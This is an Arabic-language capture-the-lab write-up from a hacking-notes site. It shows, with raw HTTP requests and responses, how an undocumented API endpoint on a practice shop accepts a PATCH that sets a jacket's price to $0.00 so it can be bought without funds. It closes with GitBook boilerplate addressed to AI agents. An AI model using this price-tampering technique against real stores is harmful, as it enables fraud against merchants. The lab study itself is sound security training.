> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/api-testing/discovery-and-exploitation-of-an-unused-api-endpoint.md).

# اكتشاف واستغلال نقطة نهاية API غير مستخدمة

### العثور على نقطة نهاية API غير مستخدمة واستغلالها

الهدف من هذا المختبر هو تشغيل نقطة نهاية API مخفية لشراء **سترة جلدية خفيفة الوزن بأسلوب l33t** بدون أموال كافية. / يتم إجراء المصادقة باستخدام بيانات الاعتماد التالية:

* **المستخدم**: wiener
* **كلمة المرور**: peter

بعد تسجيل الدخول، يكون رصيد الحساب **$**.

<figure><img src="/files/74396669b91802c01686cd8ae98d8b889dd1d2ed" alt=""><figcaption></figcaption></figure>

#### تحليل سلوك التطبيق

عند عرض المنتج، يرسل التطبيق في الخلفية طلب API لاسترجاع سعره.

<figure><img src="/files/a44ff1c88dcd347c2d87cbe04a5200ace742ad11" alt=""><figcaption></figcaption></figure>

**الطلب المستخدم لعرض السعر**

```bash
GET /api/products/1/price
```

**استجابة الخادم**

{% code overflow="wrap" %}

```json
{
    "price":"$1337.00",
    "message":"&#x1F525; تبقى 21 قطعة في المخزون، اشترِ بسرعة! &#x1F525;"
}
```

{% endcode %}

<figure><img src="/files/b3939ce218697fec079e064f6526f6a4f9628462" alt=""><figcaption></figcaption></figure>

#### تحديد أساليب HTTP المتاحة

ملف **OPTIONS** يتم إرسال الطلب لتحديد الأساليب المسموح بها في نقطة النهاية هذه.

**طلب OPTIONS**

```bash
OPTIONS /api/products/1/price
```

**الإجابة**

يشير الخادم إلى أن الأساليب التالية مسموح بها:

* GET
* PATCH

<figure><img src="/files/0601cc8e16d8cc8bba654797d96b40ef833526f7" alt=""><figcaption></figcaption></figure>

وهذا يشير إلى أنه من الممكن **تعديل** تعديل سعر المنتج عبر طلب PATCH.

#### تعديل السعر عبر PATCH

ثم نحاول تحديث سعر المنتج بإرسال طلب PATCH مع جسم JSON.

**طلب PATCH**

```http
PATCH /api/products/1/price
Host: 0abf000d04bd41568210d495001c000a.web-security-academy.net
Cookie: session=Ts7jyHfXOEyXqURmpAKf0SgO8DjhQYol

Content-Type: application/json
Content-Length: 22

{
	"price": "0
}
```

**استجابة الخادم**

```http
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 17

{
    "price":"$0.00"
}
```

<figure><img src="/files/3796796c1f46621231a2c1070228f4d553ef420a" alt=""><figcaption></figcaption></figure>

تم الآن تعيين سعر المنتج إلى **$**.

<figure><img src="/files/e6bea88405a527bda621ac5d826f1095c6146ae1" alt=""><figcaption></figcaption></figure>

#### شراء المنتج

بمجرد تغيير السعر، يصبح من الممكن شراء **سترة جلدية خفيفة الوزن بأسلوب l33t** على الرغم من عدم وجود رصيد في الحساب، مما يتيح التحقق من المختبر.

<figure><img src="/files/e12a02ccc61540afad2615874a9861970789854c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/api-testing/discovery-and-exploitation-of-an-unused-api-endpoint.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
